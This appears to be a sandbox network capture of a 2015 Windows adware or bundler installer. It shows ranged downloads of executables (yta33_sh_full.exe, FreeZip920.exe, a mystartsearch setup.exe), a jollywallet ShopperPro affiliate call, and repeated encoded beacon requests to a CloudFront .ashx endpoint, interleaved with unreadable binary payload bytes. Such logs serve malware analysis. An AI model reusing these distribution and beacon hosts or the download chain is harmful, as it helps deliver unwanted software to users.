Content-Range: bytes 1500000-1749999/7592848

Age: 57359

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IhbIkF7iPAvzK9iy40H3Qo-5UD2iyYi_bwuvhdrCXA-ztL3t_3V-5Q==
....


GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





.@]..~....<..U...`P......fM#[email protected]&....Q
...........P..oV...E.a.Z_D.V...!..S._..mm..(..}..... uz>....h.|.D.s
.z....T.{}.._.....;8...p....EK0...G.....#[email protected][6........f7H..
O.TA.}..K.hN$..Of .i...."...C...Fl-6......h...?-.3..b'.).[.......u.E.#
BO....(...X.{..k..r..9.a..o...(...L.<B7.-5.?k....M=~R..,$.,....'4i.
........*.=d\rKY./......r....\..Z..M.f....M..P~S...Y....._....,..[viu.
.d.Y.UK.#..#...E......B :~%.Lugv}.p.f... ....n$..U..3.2......V.9.<.
..zg.:..........#:.GK}.==dhdQQ..;G".._...*Yr{..j....=.$..w..K%....."..
GE....5...G...16aA....q...hLj..}2......cr.B..0.JZc...t.Q.E...S....H*..
."Mx......MO._T.j...K....s..&Z...]?&.....9_R;..`.`....NT.......`.".-N.
:o..3.......|....E. ..O.c.."..\.pz.\J...N^..P.....n....Y.CY.'..%.....u
......d.w...2*..=....r.A.L......5..h.8....i.#.|..d.Wr.;....R...'j^..D.
(...T....}..>..z...C...N 1..!9B|.y..bZ..../..u......yS..il-.9fe0V..
..R.........U_....]......."@.z.a.2.2.....jq..oK.3....\.A.^....}b.Q.j.M
.~.m.M..D]Z.%....e........Cxu............1..r....J..\.....W.#..Iu5..&l
t;V.X....|.l.(..UC.&.TH...tGE.....M...T..X..g....k..b..Z.u....5`...Ea4
...b.G{.^......om.)[email protected]).o*..K..;.:.........fue6LR.....R......u..
..U.j.H."9T..2.r.E..Q.(S.S?u.]JNRa..z.......:..Hj.(."...(a....h.S K$c$
.Z..Y....|b%.....K.......C..oh..{.!....w Mc.S....J[[email protected]...."U.SlqI)
H.K.%...7M U.uJn.IgO.B.......Z[>..mA.....!9#RQK...g;....5h....0.~9.
...z..."`A...z..Y..FV....GsAw....v~.:K.mL...;H..I........B.<...S.La
....N...B....-.3"|.`..._.../*[email protected]... {........
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





..2..1.u..[....U....se..... v......fLN=O}{.>.)..i.|S.'...Ou}k..pY.y
...4.\: .u..[x.@j....,'.S...xX6..<*.......=......u.J=4 .(.:..2Fg.u.
.S .Im..eRm...HQ:E..f#.....!c.^.>`.S).QL8...wb6l....II2.."[email protected]=.
$..%.........*..T..Z...n...s-.F!.F.!.Y..f...J2..gK.t...#.."[email protected]
..'..Z^#9@`O.P.{....y.j#"M.]..-.. ..D....(..Y<.......^..!......^5..
b7J.........-..?....gQ.`.....3......z.`...y~.....-j.....sL."k.....!s..
w......M.q......o..t..0....)!.\.P.d...|`.l.?..U8R[.,%...A..Qo......f..
..\..o./.f..;....x....q.g.../.......*.F. .=.'....(..~.......{/..5.(..|
_\[.r....t.S..e.....;j(.QW....7\.. ...V.....'O....{.p.N....%.;.....#..
..E.B..j<MOj.*C...K.:M]=".b..c5.l......~..r.k..5.*..g.....Oq.......
...-.rqP..N...(....Kb...kKi.H`.aU..w.bz...S.......N..0A.....?.H,.W....
.ou@."....8..Gk6....NEy*.......D.A.....?.."...l.....'.....I2.Bs.H.5...
<2...T.....M...9.. .......eJ..pgzg...WU...0Z..i`5..{(..<........
Bu.G...V...W#-r.T...p)U......V.s}Q.4...%.X).iO...H.......Y....O..p..,.
._..?n'1..v. ..WW. .vJ..v1.E.....V....c..Oi.AJ...d.....f0!.....Cb.Z...
B.|.2...\.K.&[./._N......<>.kl..z.._.B..Y.!;. .Q..T...N.........
....H....N.Jd...<R>.....?JT... .>j..xz....lG&.d....j..aR...!.
.D.11..-v.;..l...6....t...fI..I4i|...7Y$...:h.....>1.,DFn#.j.....10
..5W.?..7..(....mZm>..5P..98.K..R&.!.J..6..{..I4...`o..8....a...fi.
......o/.d...._s&..3K.......F.....d.O...r.2....v..*..}....wK.8...k..Z\
...-.Yv..VU........p....|\...]#...X.DG..% .4......D,Q.....:(1.. 7x..*.
...hG['.i.....~...N..$.p..D..VZ.


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=279961-559922

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 279962

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 279961-559922/1119845
..n....T.5.Y='...~.=:)...E5..c.?. p.3A.Y..h10.c2~2c.MU.........0...n.X
....'<z..a.5!...23..%)..$/./......bN.%.SY.|.q.......CT..].K.}...S.N
.....%>..X.9K.v.. ...q.....|.T........m.....D...v..Xw..rbI..$...w..
..6<.co...&......N.|..R.....1......e...}L..OF..)v\w..]..H..x...!.@l
..t..@..:-.vh8.h.*................Y8i.....e.A7z.#...n.;...8...*...j...
..9&.....?..#...n..U^k. T.:x.n...D.....luH.^.;...'4V.ak..d..q..9?P...k
..w..Y...\......H...:MD:.T...$....U..%S2....t\. .HIR2.].......!w9..7..
r....#.....x......x....'..p`.....!.MA..:[email protected]."........
H.-..{.......n..&![..Yu....G.W....s..8..w|..?....G.O?.. ..BIq6....O...
..=. ......}..I..(..U....6..7 &..z...|....4t5..V0.$=.).T...`.........N
.[.,....L......\i.y...^...U;aF.{..".I..f.l.6,{....g,..-Z.|1...<Uw..
.Z.U....e.b..g.. .W....t.Mw>..<.....>[email protected]]lWG..2u
8.....}8..."b...@f..|.W.S...."$|!.|=n..lO...CO.....J9=0.....'^;...Uh.@
.....*.......vTjy.6E....{S{2|.. .#..I.....].R.s.F0,s.Ed..=.A...*..."..
o.........'.?.../..$......]$,.G"..0..#....|...!WN[.%D............Ph..u
.M=.sr 0.re?..i.....4.06.? m.R....A..uj..o..@...:!s.U....&D.....f..nIC
......g$...[.{.6.X....x..{..<A.V?.J.._......f..xf.X.l.=.hL..s...^..
.<....G....V.g.*.....@.=..hH..%.J..^.%..'..J.Zy....w...U.f...~...y\
......b.j..zWtE..J..Yk.H..LA..L).NI;.)..X..S.Rj..........m...d./....x.
......^<cH7]xYu"'h.o..,...XT.... Sx..v......T........w......].}JTp@
C8..Ct)..s..uT.xW...9.X.H....M...Cc....Y.n.N..!..$...?...8k..yR.....k.
}..eH...N....e2..hJ..lj....A.....c........(...%.s..T.%.La...l..~..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=281428-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 40204

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 281428-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ae9tPx-A3k7upHZynVru2UTDTXFcAakVasYK24UGHQM_bRnveGfQIw==
.h2..\...........................g2..]...........................f2..[
...............................I3') * )))*))()*   ,6J!54 CBA...jYPQTVT
SkllZTTXRTUiHceWda/..i...u....`..................._<bm....t^..}zy|y
x~....{|yvrrwsqpon....................................................
......................................................................
......................................................................
...................................................................(..
..... ...................................|WR......Q3..O1...b.sP?..Q2..
Q2..Y9..^G......`[email protected]................
..b...c...c...d...c...d...d...s ..x(...>..zZ..........g........x...
$...&...*... ... ...,...-...-.../...0...4...6...I.....................
......................................................................
..~~~.}}}.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...................................................................Q'.
.Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q
<<< skipped >>>


GET /affiliate/client?dist=141&sub=iF1UwJSsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Fri, 30 Jan 2015 01:29:19 GMT

Expires: Tue, 03 Feb 2015 01:29:19 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

Content-Length: 10963

Connection: keep-alive
...........}[email protected].....|. TR..
..9g..*H"#3.....$.^.].-..n.x.Ps5..M......T.k...`_Dq.O.......%_e.......
.."-.v!<....V..m.O."J...e...z..=F.... ..5...C.U.....Z...,......0..C
(^.......?v:.na.8L..f~...P.D...>....C....[*.}8.j.....p........0....
.`..:.....6..<..^.n...........g.......p=_....n.9..J...Z..Bs;x.C..~E
.%wv..d..G.....;;.../....?=I.....I.....Tz....|.ZE.%.P(.e.L*c.h...h.$.D
&..z......y..LA4.*..d.6...."M.....9...;...x..'5.S..w..(v.njt.... }O5.S
.&.U..L$*.c.%.'.www=....pA........cC..yc ....sR.%jm/..Q.....Y.........
..(...np.....!.EL.....F.t.E....m.x...R..[.n..O......*....?a.?9>^RY.
?i.F..~.7X.7D.W>^...O..s,..x..?;,.`...~..Y....5...$..}.....;*...].o
q..Q.J.lMet]..e..I;"......-.8#.m.$.%Al...~.$..v...OX.t...{B.P...5D...?
..[F..........-.W.E"....0.;X..:...$............Fsv(]4s...I=..pp..5....
..........fM.Zh|N.~.[..}...D......? .._...m..R...E.....f7C2....Q..=@..
..M}.#.?.1.{...oF.,3.O......6.}.t%.-.=.d.....e...h<.....>...XI|.
W..k..k...9..:..]W..../...`....X...T.jC..^j.....w.B....B#.5p7X.7......
...h.....Q.}..c;c.....1.`.....C5...cCQ..V]^.....0.4A....co...... ;..A.
,.... .}.. ....X.....u.Nv......p....s....%.. ........8.C..........CyKv
a ............E.:X..A....D..q.k..e@kL?).kBOH....~..^.b9.`.....m.`.....
yo.&..J.4..%.....S-....~5...8.MA.../.&W 5...}3..V...u:K`.O.t.k..".....
.0..f.....c....W......o6..}..'D.........B......]..QE...{a9UKB.|.c.cO..
h:.g`[email protected];..p..q....0.".....4.h=Q... T........6..w../.......
.V..c.o"...\t5...ML.r<..........*RH..bC.{.u..l4...X.W.0.\.Te.U.
<<< skipped >>>


GET /21714.ashx?e=kUynm8L6UyvSR sqobBJuRhBZuOYR 9mQF3UKsSdb2t7HO4WybUyRxjtTCDxth49N  X1/ea0HoOzFxDz6oj2mAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:27:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 3ni0fGiN3h458H4rD9-orbY8tuzXR8WtEqbF8y7s3WUR92yON4yeEg==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V2/M8jJQIzSdP2 XN2u718hQC drCF7eF njmPLTFBJTHZ0SBJrLapqEsFB7attMxqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nDtduEIZe4vKcf2bKL8xMiV6n2exBqqkQ5tIzzq6KHLB1deXRlnSig==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VFkiwkU6sVsYuLQICPnQX0SmF904v4t2D4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJqXyjeXDsJMJqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:27:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hbwD52BoyK3rohDRdBCeiT1oFy8mecNno0hNZm6ES_hC8GdHqf_YRg==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Vqd4zZ7hmf0AjPAY6BOK aI4G r 3F6T7V/KjEEWYKZs//X7CkDuPsrumj6K0eW/0JXOJugCS3crYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: D3d4WmiFXw__vmZyzhCu_bzRQJiTwpYYFdKY4j7XqhCqtBOBTKMgdw==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V2Rko0jTI4S7Vw12R6ofm/Y8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC Mhrkq09y/A2uu7zQQkK33iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0Zhyw4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kQKMqY3y508rFfECt3B_monkABEGy9c5CaMV_TK6UaTrmlB4JkDJsw==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VQy TvLH5SNftN2kzF 5WqbPiCC4paVhd7txZncMHn06ScJu8C7yBqpe/jFqE4L9XD4NyULog6KHAsvlBgzvTh6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nztGYcVj6QO1rAbJB4BEuW8MI8GD-OrC6tU71cS9yEhFLlqtachTiw==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VAhTD7v1xeC4pGvADS7bOhjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ838kwZ2Lr9ocdj6afjeK5fDhR5vAG pvdOYocaijIvIVay25VRJD0bbc= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WndQoMQmLrK91cIKVYXTlMlQUJIK3Q1qpsg-mh36kiml92Amnlf4Wg==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VSMShYYQCF9/JscN vLrCo6Y7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsOBfHqErb4VGSixjOMNlnu//21OmrPJaED3PfUjq/T3oicrVemMrXWg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net



GET /21714.ashx?e=1ZEnpGuz/ISSsSz5Gin3VjtwOqvEtO32VTErbptxeFn8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTINHH/fCjamjshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLsCmnQAndzgRhJsqiS fULSeY/e3xqcYN zjNK4UzrYRLhu0b45kiT8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdry832UNbAoK/njVi4sZ3RnB2tZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKChr8gdm92vo7IQuZjicrqKlmYK5OMGoOmVI9bzsbYy5hhlrkvZV2xQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZvyCfKWKMIYS-FIwSEqtrnt2WEMMY_NK0rkCrBvo818RZVNNdl7Ehg==
....


GET /21714.ashx?e=1ZEnpGuz/ISSsSz5Gin3VjtwOqvEtO32VTErbptxeFn8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTINHH/fCjamjshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLsCmnQAndzgRhJsqiS fULSeY/e3xqcYN zjNK4UzrYRLhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YM8Lp0Bjzny5rNm0VSYuTZTqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: VGo-LTZoODRiKBDEMisoUByZ-WqJ9NPEAPvyO_KpG35lqzhTeWVOUg==
....


GET /21714.ashx?e=lOCrbsNL2zXY n Drgf83ORCMlh3l5QDoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68LnCMwJJTkXqhQNbb34rcpqMD8Jh9T0mMdfeQRNwvtN90js0 pge/oATxIUcsgQ wQ1V8jD1/9CmmiwBN87iCfPEiQPnfm1ghee7n4Z39v5CM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NT5hbtwG7YYR8arKgAst4UtfOpE3QhPjDSbqQ7DTxhM_2c4Z1NQN4g==
....


GET /21714.ashx?e=37A8KpTgCn/SR sqobBJuaYM6J9TpnwQQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRlLthe3E5HJFVjr4IQgU6/2DXhWyoO7dFSmF904v4t2DyLYKXVcB4UWM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4shrj-XNNi_E7IFJrCa2ayd9pqd-hSD6BYju8oB8wH70skFjpkX_PQ==
....


GET /21714.ashx?e=aQQpsP6/AW3r A4x0AgNXcNTnuyhzCsU1lnchBmRgOB4E7mrr1h80jmXqQawsZSOUA7dl9owwhI8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjfF7ZDOsdUGBLRxO9upzM6GX1FtTkCv6XEYkL4n1Dcu54nJwzEzT2yHUh 3ZGDmdW5pZis9f nTddyS4BuUDC9Ua9iR8Lp3n3hqa6yId4a3jP358k7pbeGviLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WU8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjaezXpB4YeZy HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

